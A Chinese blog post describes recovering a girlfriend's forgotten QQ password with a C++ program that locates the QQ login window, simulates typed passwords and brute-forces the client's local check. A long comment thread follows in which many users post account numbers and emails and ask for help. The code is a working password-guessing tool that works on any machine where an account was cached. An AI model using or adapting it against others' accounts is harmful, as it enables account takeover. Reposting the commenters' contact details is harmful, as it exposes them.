Michael 阅读(5765) 评论(690)
GF的QQ密码忘了,让我把密码找回来。于是,今天一晚上就耗在这上面了。

开始时候,依回忆将一些可能密码在QQ上逐一Try。Try了十几个都不是。郁闷。QQ密码保护又不知道答案。

这样下去不是个办法,于是想用程序方法自动输入密码。终于皇天不负有心人,程序帮我找回了密码!

偶猜想QQ的登录过程:
1)如果本机已登录过此QQ号码。则首先在本地验证,很可能只保存了密码的HASH值。比较两者的HASH值。
    如果不对,就弹出失败对话框。
    这样的目的:减少了一次非必要的网络访问,减轻QQ密码服务器的负担,或者xxx其他原因(方便真正丢失密码用户找回密码).
2)本地密码正确的话,才连接到服务器,再进行一次密码验证。

基于这样的假设,可以进行QQ本机的暴力破解。
主要过程 (解释部分参见代码comment):
1)找出QQ的登录窗口Handle。QQ登录窗口句柄不能直接获取到,需要先获取其某个子窗口,再通过子窗口找到登录窗口Handle。
HWND hQQLogin = 0;
BOOL CALLBACK MyEnumWindowsProc(HWND hwnd,    LPARAM lParam)
{
    hQQLogin 
= ::FindWindowEx(hwnd, 00"软键盘");    
    
if (hQQLogin)
    
{
        
return FALSE;
    }

    
return TRUE;
}



//Hard to find the QQ login window handle directly, because it has different title each time.
//So we find the specific child window in login window, such as "login", or "soft keyboard"
//Then find the parent window of this child window, and the parent is just Login window.
HWND FindQQLogin()
{
    ::EnumWindows(MyEnumWindowsProc, 
0);

    
return ::GetParent(hQQLogin);
}


HWND FindTopWnd(
const char* pTitle)
{
    
return ::FindWindowEx(0,0,0,pTitle);
}

2)模拟键盘,输入密码
bool CMyDialog::TryQQ(CString strCurrPass)
{
    
//Input password
    SendString(strCurrPass);
    SendEnter();

    
//Find the result window
    Sleep(20);
    HWND hFindResult 
= 0;
    
for (int i = 0; i<20; i++)
    
{
        hFindResult 
= FindTopWnd("错误");
        
if (hFindResult)
        
{
            
break;
        }

        
else
        
{
            Sleep(
50);
        }

    }


    
if (!hFindResult)
    
{
        
//Maybe the password is right
        CString strMessage;
        strMessage.Format(
"We find it possibly!: %s", strCurrPass);
        MessageBox(strMessage);
        
return true;
    }


    
//close the "error" window
    SendEnter();

    
return false;
}

3)将自己常用密码字符串组合,逐个调用TryQQ()。

程序以20ms试一个密码,一个小时可以试180K个密码。因为有比较小的选择范围,我自己的密码十几秒就找回了。

注意几点:
1)QQ在本地机器上有过成功登陆。
2)破解时,关掉所有其他无关程序,以免干扰导致发现不正确的窗口Handle。
3)最好组织一些常用密码串,如果直接从a到z,1~10, 特殊字符,密码长的话,估计跑几个月都不一定到找出来。

另外,如果在公共机器上如果以“普通方式”登录QQ,这样他人理论上又可能破解此QQ密码,如果密码比较短,则破解可能性很大。
如果以“网吧方式“登录, QQ退出时可能不会保存密码或者密码HASH到本机。这样就安全一些。

评论列表
马琳
re: "暴力法"找回QQ密码
谁帮我找QQ啊!!!!!!!!!!!!!!!!!!!!
马琳
re: "暴力法"找回QQ密码
谁帮我找QQ啊!!!!!!!!!!!!!!!!!!!!
马琳
re: "暴力法"找回QQ密码
谁帮我找QQ啊!!!!!!!!!!!!!!!!!!!!
马琳
re: "暴力法"找回QQ密码
我的QQ好是317628736
联系QQ号是253348563
先谢谢你好了!!!!!!!!!
zhuyijing168
re: "暴力法"找回QQ密码
这个方法很好啊,可惜我的档次太低了一点,一点都不懂啊!!!!!!!!!
zhuyijing168
re: "暴力法"找回QQ密码
这个方法很好啊,可惜我的档次太低了一点,一点都不懂啊!!!!!!!!!
好郁闷.
xu cheng cheng
re: "暴力法"找回QQ密码
我的QQ号码我不小心 把密码乱改给忘了谢谢有人可以帮我找到发给我  这个对我很重要   我现在的QQ是525681671   谢谢
罗介
re: "暴力法"找回QQ密码
有那个大哥可以帮我找回我的QQ啊,我那里面有那多东西啊,我的QQ是53946906我现在的QQ是308430932在这里谢谢了,
薇薇
re: "暴力法"找回QQ密码
帮帮忙吧,你可以帮我找回qq吗?很重要很重要的qq,我的qq是307859098 联系号码是154349947。。。拜托了!只要是能找回来,我愿意付给你q币。。怎么都行~~好人啊,拜托了
薇薇
re: "暴力法"找回QQ密码
谢谢你谢谢你啦~~~
薇薇
re: "暴力法"找回QQ密码
帮帮忙吧,你可以帮我找回qq吗?很重要很重要的qq,我的qq是307859098 联系号码是154349947。。。拜托了!只要是能找回来,我愿意付给你q币。。怎么都行~~好人啊,拜托了
564564
re: "暴力法"找回QQ密码
帮我找回QQ346875893 找回了联系121733342 很冲要的请你帮我 5
蔡广钰
re: "暴力法"找回QQ密码
我的QQ丢了  你可以帮我找回吗?
350608740
韩翎
re: "暴力法"找回QQ密码
你帮我回QQ密码304622992
大宫
re: "暴力法"找回QQ密码
请你帮帮我找QQ,上面都是我的朋友和同学现在毕业了,都联系不上了,很麻烦.所以请你帮帮忙,QQ9641529找到请与QQ185604023联系!!! 
大宫
re: "暴力法"找回QQ密码
请你帮帮我找QQ,上面都是我的朋友和同学现在毕业了,都联系不上了,很麻烦.所以请你帮帮忙,QQ9641529找到请与QQ185604023联系!!! 
lawy
re: "暴力法"找回QQ密码
117897533是我的QQ  发到 371901562上啊  谢谢  哥哥了
阿伟
re: "暴力法"找回QQ密码
   我把QQ密码给忘了,那位大哥能帮我找找。谢谢了~!我的QQ是380312290~!!!!!!!!!!!
冰心玉女
re: "暴力法"找回QQ密码
真的可以找回吗?我朋友被盗的是:123815906
联系号码是:274371731
在此先谢过!
宝宝
re: "暴力法"找回QQ密码
我的QQ被盗的是,1569405
联系号码是391743286
在此先谢过
馨缘
re: "暴力法"找回QQ密码
我的密码找不到了,
馨缘
re: "暴力法"找回QQ密码
我的QQ号是:513179125
联系:029-81075016
网名:馨缘
陈陵聪
re: "暴力法"找回QQ密码
我现在的QQ是569970708我的希望就靠大家了
陈陵聪
re: "暴力法"找回QQ密码
我的QQ不知道怎么了秘密就不对了希望大家帮我找回来!里面有我最好的朋友和我在浙江体育学校的朋友如果可以找回我的QQ我可以和他买回来啊!谢谢了!我现在的QQ是569970708找到的请和我留意!
周超
re: "暴力法"找回QQ密码
我的QQ给人偷了我急死了,你门能不能帮我找到啊~我的QQ是88617692我的新联系QQ是517682202找到有重谢啊~~求你门了
re: "暴力法"找回QQ密码
请帮我找回我的qq 号码是13840601   谢谢
re: "暴力法"找回QQ密码
我的邮箱是 guaiguaitu@gmail.com
re: "暴力法"找回QQ密码
请帮我找回我的qq 号码是13840601 谢谢
gg
re: "暴力法"找回QQ密码
给我找回吧,大侠啊,我那上面有好多资料呢,失去的号码是278274622,在251286819上给我消息啊,拜托了!
小宝蛋
re: "暴力法"找回QQ密码(qq号:81099723 )
今天我的密码被盗,好郁闷哦,能不能帮忙找回我的密码呀?谢谢老大了。qq号:81099723 ,我的新qq号:545335361
415064238
re: "暴力法"找回QQ密码
帮我找一下QQ好吗?号码是289834636,哪位仁兄能帮我我会不惜一切代价去感谢他
陈桂雄
re: "暴力法"找回QQ密码
我的QQ给人盗了!!!哪位大哥大姐能帮我找回来啊??
QQ号1779755!!!帮帮忙吧
谢谢大家
大哥哥们,求你们帮帮我找回我的Q
re: "暴力法"找回QQ密码
你们这个网站真的太好了,帮助了很多的人!
荆紫轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
轩轩
re: "暴力法"找回QQ密码
好心的大哥大姐们,谁能帮我找回QQ号为251208572,我会以10个Q币作为酬谢!!!因为我的工作伙伴及客户都以这个号码联系 !!!到10月30号为期,找到后请与286807742联系!!!谢谢!!!
羽毛球
re: "暴力法"找回QQ密码
各位xdjm们,不是我不想帮忙。要破解出QQ密码是有条件的。我之所以成功是因为我的QQ在我机器上正确登录过。你们的QQ没有在我能及的机器上登录,是很难找回。或者编译好程序在你们自己机器上登录。

另外,试试腾讯的客服吧,虽然服务很差:-:(
蒋林
re: "暴力法"找回QQ密码
我的QQ是:413458922能为我找回来吗?谢谢你了!
蒋林
re: "暴力法"找回QQ密码
我的QQ是413458922,能为我找回吗?我的邮箱是:jljlj@chinaren.co
谢谢你了.
无心_所爱
re: "暴力法"找回QQ密码
哇........引来这么多追随者.....
刘帅
re: "暴力法"找回QQ密码
我现在使441512018
刘帅
re: "暴力法"找回QQ密码
我现在使441512018
孙洪义
re: "暴力法"找回QQ密码
我真的希望能够找到它!帮帮我
谢谢!!!
邹如山
re: "暴力法"找回QQ密码
我的QQ被盗 希望找一个人帮忙找回来 那个被盗的QQ是 284182588   我现在用的是 120526045
韩伟
re: "暴力法"找回QQ密码
谁能帮我找回QQ;335282955
独孤剑魔
re: "暴力法"找回QQ密码
95615320

46010678
qq  是昨天晚上还好好的  今天就密码错误了 
希望大哥帮我找回啊我用了 5 年 的qq 啊 555
现在个人资料里什么都没有了  他娘个西比啊

大哥帮忙啊 
把密码发送到 
 qiouhen963@sohu.com

或者跟我现在的qq 联系 499455413 (中午刚申请的 )5555
1 2 3 4 5 6 7 8 ... 下一页共13页  到第

发表评论
切换编辑模式